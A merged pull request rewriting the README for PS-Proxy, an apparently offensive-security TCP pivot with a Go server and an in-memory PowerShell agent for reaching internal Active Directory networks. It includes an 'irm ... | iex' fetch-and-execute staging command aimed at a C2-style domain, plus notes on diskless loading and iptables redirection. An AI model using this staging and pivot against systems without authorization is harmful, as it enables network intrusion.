Merge pull request #8 from Harrison-Wells-Cyber/codex/find-best-way-to-ship-release

Rewrite README: reorganize quickstart, release layout, and usage instructions
This commit is contained in:
Harrison-Wells-Cyber
2026-07-23 21:42:57 -07:00
committed by GitHub
+172 -189
View File
@@ -1,247 +1,230 @@
# PS-Proxy # PS-Proxy
PS-Proxy is being rebuilt as a professional route-based pivot with a Go Linux PS-Proxy is a route-based TCP pivot for operators who need to reach internal
server and a single-file PowerShell 5.1 agent. The project goal is reliable network services from a Linux VPS through a Windows host that can access those
operation for TCP-heavy AD tooling such as Impacket, NetExec, RustHound, services. It is built for TCP-heavy tooling such as Impacket, NetExec,
`ldapsearch`, and TCP-connect `nmap`, without proxychains and without requiring RustHound, `ldapsearch`, and TCP-connect `nmap` without proxychains and without
administrator privileges on the Windows agent host. requiring local administrator privileges on the Windows agent host.
> Current implementation status: the repo now has a working encrypted enrollment The tool has two parts:
> flow, a framed multiplexed TCP stream protocol, a diskless PowerShell/C# agent
> packaging flow, and a developer TCP relay for end-to-end protocol testing. The
> full production TUN/netstack data plane is still the next major milestone.
## Design decisions - **Linux server:** a Go binary that listens over TLS, stages one-time agent
downloads, manages the encrypted tunnel, and redirects routed TCP traffic into
the tunnel.
- **Windows agent:** a single PowerShell 5.1 script that loads the embedded C#
core in memory, enrolls with the server, and opens outbound TCP connections to
internal targets from the Windows host's network position.
- **Server:** Go, intended to run as root on Linux. ## How it works
- **Data plane:** Linux transparent TCP redirect mode is implemented now for test-environment use: local tools connect directly to routed target IPs, iptables redirects matching TCP connections to the server, and the server relays the original destination through the enrolled agent. A true TUN/netstack backend remains the long-term production direction.
- **Agent:** Windows PowerShell 5.1 loader with a precompiled C# core embedded
into a single `.ps1`.
- **Agent delivery:** one command, one file, no separate DLL transfer:
`irm https://server/a/<one-time-id> | iex`.
- **Target-side privileges:** no local admin required on the Windows agent host.
- **Enrollment:** the server creates a short-lived one-time staging URL. The
generated agent script contains an enrollment token rather than a long-term
PSK.
- **Trust anchor:** TLS is transport and staging only. The agent pins the stable
PS-Proxy application identity public key and establishes an authenticated
encrypted tunnel inside TLS before enrollment tokens or tunnel frames are sent.
- **Disk behavior:** release agents do not use `Add-Type`, do not invoke
`csc.exe` on the target, and do not intentionally write the managed agent DLL
to disk. The embedded DLL is loaded with
`[System.Reflection.Assembly]::Load(byte[])`.
## Repository layout 1. You run `psproxy-server` on a Linux amd64 VPS with a public domain and TLS
certificate.
2. The server creates or reuses a stable PS-Proxy identity key
(`psproxy_identity.pem`) and prints a one-time PowerShell staging command.
3. You run the printed command on a Windows host that can reach the target
network.
4. The staged agent verifies the PS-Proxy identity inside the TLS connection,
enrolls over an authenticated encrypted tunnel, and starts relaying traffic.
5. On the Linux server, your tools connect directly to routed target IPs. In
transparent redirect mode, PS-Proxy installs iptables NAT rules that redirect
matching TCP connections into the local relay. The server preserves the
original destination and asks the agent to open that target from the Windows
side.
The Windows agent does not intentionally write the managed payload DLL to disk.
Release agents load the embedded assembly with
`[System.Reflection.Assembly]::Load(byte[])`.
## Quick start from a release zip
Use this path if you downloaded a prebuilt release zip and do not want to build
from source.
### Requirements
- A Linux amd64 VPS.
- A public DNS name that points to the VPS.
- A valid TLS certificate and private key for that DNS name.
- If you do not already have a certificate, point your domain at the VPS and use Certbot, for example `sudo certbot certonly --standalone -d c2.example.com`.
- Root privileges on the Linux server when using transparent redirect mode.
- A Windows host with Windows PowerShell 5.1 that can make outbound HTTPS
connections to the VPS and can reach the internal target network.
### Release zip layout
Extract the release zip and keep the included directory structure intact:
```text ```text
cmd/psproxy-server/ Go server entrypoint psproxy-release/
internal/protocol/ framed tunnel protocol helpers and tests ├── psproxy-server
internal/staging/ one-time agent staging/enrollment helpers ├── agent/
agent/PSProxy.Agent/ PowerShell 5.1-compatible C# agent core source │ └── loader/
agent/loader/agent.ps1.tmpl single-file PowerShell loader template │ └── agent.ps1.tmpl
release/agent.ps1 packaged release agent placeholder/artifact └── release/
tools/build-agent.ps1 Windows build script for release/agent.ps1 └── agent_assembly.b64
agent.ps1 source-checkout pointer to release agent workflow
``` ```
The GitHub repository intentionally contains both source code and a release The server uses `agent/loader/agent.ps1.tmpl` and `release/agent_assembly.b64`
agent location. Packaged releases should replace `release/agent.ps1` with a by default when you run it from the extracted directory.
ready-to-run generated file so an operator can download and run without doing
manual packaging.
## Build the Go server on Linux ### Start the server
From the repo root: From the extracted release directory, run:
```bash
go test ./...
go build -o psproxy-server ./cmd/psproxy-server
```
The build produces `./psproxy-server`.
## Build the single-file PowerShell 5.1 release agent
The first supported target is Windows PowerShell 5.1, so build the release agent
on a Windows machine with the .NET Framework compiler available.
Open Windows PowerShell from the repo root and run:
```powershell
powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1
```
That script:
1. Compiles `agent\PSProxy.Agent\PSProxy.Agent.cs` with the .NET Framework C#
compiler.
2. Compresses the compiled `PSProxy.Agent.dll`.
3. Base64-embeds the compressed DLL into `agent\loader\agent.ps1.tmpl`.
4. Writes the single-file release loader to `release\agent.ps1`.
5. Writes `release\agent_assembly.b64`, which the Go server uses by default to render one-time staged agents.
The Windows target still receives only one PowerShell script. The build step is
for the release maintainer, not the operator running the agent. Keep
`release\agent_assembly.b64` next to the server working directory, or pass it
explicitly with `--agent-assembly-b64-file`.
## Start the server with transparent TCP routing
Use a real certificate for HTTPS transport/staging. PS-Proxy will create or reuse
`psproxy_identity.pem` as the application-layer trust anchor; keep this file
stable across server restarts and redeployments so existing staged agents trust
the same server identity. On the Linux server, run as root so PS-Proxy can
install and remove iptables NAT rules:
```bash ```bash
chmod +x ./psproxy-server
sudo ./psproxy-server \ sudo ./psproxy-server \
--domain c2.example.com \ --domain c2.example.com \
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \ --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \ --key /etc/letsencrypt/live/c2.example.com/privkey.pem \
--route 10.10.10.0/24 \ --route 10.10.10.0/24 \
--redirect \ --redirect \
--max-streams 256 \ --max-streams 256
--dns-listen 127.0.0.1:5353 \
--dns-target 10.10.10.10:53
``` ```
With `--redirect`, PS-Proxy creates an iptables NAT chain for each `--route` and Replace:
redirects matching local TCP connects into a loopback listener. The server reads
the original destination with `SO_ORIGINAL_DST`, sends that host:port through the
encrypted tunnel, and the Windows agent opens the target with a normal outbound
`TcpClient` from its network position.
The server owns its configured `--listen`/`--port` socket while it is running. - `c2.example.com` with your domain.
By default that is `0.0.0.0:443`, so another web server or reverse proxy cannot - The `--cert` and `--key` paths with your certificate paths.
bind port 443 on the same IP at the same time. If you need another service on - `10.10.10.0/24` with the internal network reachable from the Windows host.
443, either bind PS-Proxy to a different address with `--listen`, run PS-Proxy on
a different external port with `--port`, or put a fronting load balancer/reverse
proxy on 443 and forward PS-Proxy traffic to its own backend port.
The server prints a one-time command: If your certificate is in the default Let's Encrypt location for the domain, you
can omit `--cert` and `--key`:
```bash
sudo ./psproxy-server \
--domain c2.example.com \
--route 10.10.10.0/24 \
--redirect
```
By default, PS-Proxy listens on `0.0.0.0:443`. If another service already uses
port 443, set `--listen` or `--port`, or place PS-Proxy behind a fronting load
balancer or reverse proxy that forwards to its own backend port.
### Run the Windows agent
When the server starts, it prints a one-time PowerShell command like:
```powershell ```powershell
irm https://c2.example.com/a/<one-time-id> | iex irm https://c2.example.com/a/<one-time-id> | iex
``` ```
The generated script auto-starts, loads the embedded C# core in memory, verifies Run that command in Windows PowerShell 5.1 on the Windows host that can reach the
the staged PS-Proxy identity public key with an application-layer handshake, internal network. After the agent enrolls, keep the PowerShell session running
sends enrollment inside the encrypted/authenticated tunnel, and then uses that for as long as you need the tunnel.
protected tunnel for all framed TCP and DNS relay traffic.
## Optional fixed-target developer TCP relay ### Use your tools
For controlled protocol testing without iptables redirects, use the fixed-target From the Linux server, connect to hosts in the routed CIDR directly. For example:
TCP relay. Example:
```bash
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=example,DC=local' '(objectClass=domain)'
nmap -sT -Pn -p 445 10.10.10.10
```
With `--redirect`, matching TCP connections to `--route` networks are redirected
through PS-Proxy and opened by the Windows agent from its network position.
### Optional DNS relay
If you want DNS queries to be forwarded through the agent to an internal DNS
server, add both DNS flags when starting the server:
```bash ```bash
sudo ./psproxy-server \ sudo ./psproxy-server \
--domain c2.example.com \ --domain c2.example.com \
--cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
--key /etc/letsencrypt/live/c2.example.com/privkey.pem \
--route 10.10.10.0/24 \ --route 10.10.10.0/24 \
--tcp-listen 127.0.0.1:1389 \ --redirect \
--tcp-target 10.10.10.219:389 --dns-listen 127.0.0.1:5353 \
--dns-target 10.10.10.10:53
``` ```
Then run the printed one-liner on the Windows host. After the agent connects, Then point DNS-capable tools at `127.0.0.1:5353` when they support a custom DNS
test from the Linux server: server and port.
### Optional fixed-target TCP relay
For a single local port mapped to a single internal target, use the fixed-target
TCP relay:
```bash ```bash
nc -vz 127.0.0.1 1389 sudo ./psproxy-server \
ldapsearch -x -H ldap://127.0.0.1:1389 -D 'user@example.local' -W -b 'DC=example,DC=local' '(objectClass=domain)' --domain c2.example.com \
--tcp-listen 127.0.0.1:1389 \
--tcp-target 10.10.10.10:389
``` ```
Transparent redirect mode is the recommended test-environment workflow right now. After the agent connects, use the local listener:
The fixed-target relay remains useful when you want a single local port mapped to
a single target for debugging. Use `--max-streams` to cap concurrent proxied TCP
connections during high-concurrency tools such as NetExec; the default is 256.
When `--dns-listen` and `--dns-target` are set together, the server exposes UDP
and TCP DNS listeners on the same local address and forwards raw DNS queries
through the enrolled agent to the internal DNS server reachable from the agent
host.
## Security notes ```bash
ldapsearch -x -H ldap://127.0.0.1:1389 -b 'DC=example,DC=local' '(objectClass=domain)'
```
- Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is ### Operational notes
not acceptable for sensitive environments because staging tampering means code
execution on the Windows host. - Keep `psproxy_identity.pem` private and stable across restarts. It is the
- TLS is transport only; do not use the HTTPS certificate as the PS-Proxy root of trust. PS-Proxy application identity used by staged agents.
- The server has a stable RSA identity key (`--identity-key`, default
`psproxy_identity.pem`). If the file is missing, the server generates a
3072-bit RSA key and logs the SHA-256 pin of the public key DER.
- Keep `psproxy_identity.pem` stable and private. Rotating it intentionally
changes the PS-Proxy trust anchor and requires staging new agents.
- The staged agent embeds the server identity public key, performs an
application-layer PSP1 handshake, verifies a server HMAC proof, and only then
sends enrollment/reconnect tokens inside encrypted authenticated frames.
- Enrollment URLs are short-lived and one-time use. - Enrollment URLs are short-lived and one-time use.
- The enrollment token is placed in the HTTPS response body, not in the URL. - Do not log generated agent bodies, enrollment tokens, or reconnect tokens.
- Do not log generated agent bodies or enrollment tokens. - The server needs permission to install and remove iptables NAT rules when
- The loader avoids intentional target-side file writes for the managed payload, `--redirect` is enabled.
but host telemetry, PowerShell logging, AMSI, EDR, crash dumps, or pagefile
behavior are outside the loader's control.
## Build from source
### TLS inspection / enterprise decryption Use this path if you cloned the repository and want to produce the server binary
and packaged agent assets yourself.
PS-Proxy now treats HTTPS/TLS as transport and staging rather than as the tunnel ### Requirements
root of trust. Enterprise TLS inspection products such as Palo Alto, Zscaler, or
other decrypting proxies may present an enterprise-issued leaf certificate to the
agent; this should no longer break agent/server trust because the agent verifies
the staged PS-Proxy identity public key inside the TLS connection.
Operational guidance: - Go 1.24 or newer for the Linux server.
- A Windows machine with Windows PowerShell 5.1 and the .NET Framework C#
compiler for building the release agent.
- Keep using HTTPS for staging so the one-time loader is not exposed to trivial ### Build the Linux server
network tampering.
- Keep `psproxy_identity.pem` private and stable. It is the PS-Proxy identity,
and its public key pin is what identifies the legitimate server to agents.
- Back up `psproxy_identity.pem` with the same care as other server secrets. If
it is lost and regenerated, previously staged agents will not trust the new
identity unless they are restaged with the new public key.
- TLS inspection can still observe the outer HTTPS transport metadata, but it
cannot read or tamper with protected PSP1 tunnel frames after the
application-layer handshake without detection.
## Current implementation status From the repository root on Linux:
Implemented now: ```bash
go test ./...
go build -o psproxy-server ./cmd/psproxy-server
```
- Go TLS listener with mixed HTTP staging and raw agent tunnel handling. For a smaller release binary:
- Stable PS-Proxy RSA identity key generation/reuse with a logged public key pin staged into generated agents.
- Short-lived one-time staging URLs.
- Application-layer PSP1 secure handshake before enrollment, followed by encrypted/authenticated frame transport and reconnect-token authentication after first enrollment.
- Agent auto-reconnect with exponential backoff for transient tunnel failures.
- Framed multiplexed stream protocol.
- Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs.
- Fixed-target TCP relay mode for protocol validation.
- Bounded concurrent stream handling with per-stream local write queues so one slow local TCP client cannot block the whole multiplexed agent session.
- Optional UDP DNS relay that forwards raw DNS queries through the agent to an internal DNS server.
- JSON `/status` endpoint for agent and stream visibility.
- C# agent stream relay that opens normal outbound `TcpClient` connections from
the Windows host.
- PowerShell loader template that loads a compressed/base64 managed assembly from
memory.
- Windows build script to package the C# core into `release/agent.ps1`.
Next milestone: ```bash
go build -trimpath -ldflags="-s -w" -o psproxy-server ./cmd/psproxy-server
```
- Replace the Linux transparent redirect backend with a true production Go TUN/netstack data plane. ### Build the PowerShell release agent
- Add route setup/cleanup and `doctor` checks.
- Add integration tests for LDAP/RustHound-scale long-running TCP streams.
## Testing direction From the repository root on Windows, run:
Before this project should be trusted for real assessments, it needs a lab test ```powershell
matrix that includes: powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1
```
- large bidirectional byte-stream integrity tests; The build script writes:
- many concurrent stream tests;
- long-running LDAP/RustHound collection tests; - `release/agent.ps1` — a single-file PowerShell loader with the embedded agent
- NetExec SMB/LDAP tests; assembly.
- Impacket SMB/LDAP/RPC tests; - `release/agent_assembly.b64` — the compressed/base64 agent assembly used by
- reconnect and stale route cleanup tests; the server when rendering one-time staged agents.
- DNS relay tests against an internal AD DNS server;
- malformed frame and enrollment fuzz tests; ### Assemble a release directory
- certificate pin mismatch tests.
Create a release directory with the server binary and packaged agent assets:
```text
psproxy-release/
├── psproxy-server
├── agent/
│ └── loader/
│ └── agent.ps1.tmpl
└── release/
└── agent_assembly.b64
```
You can now zip `psproxy-release/` and distribute it as a ready-to-run Linux
amd64 release bundle for operators who provide their own domain and TLS
certificate.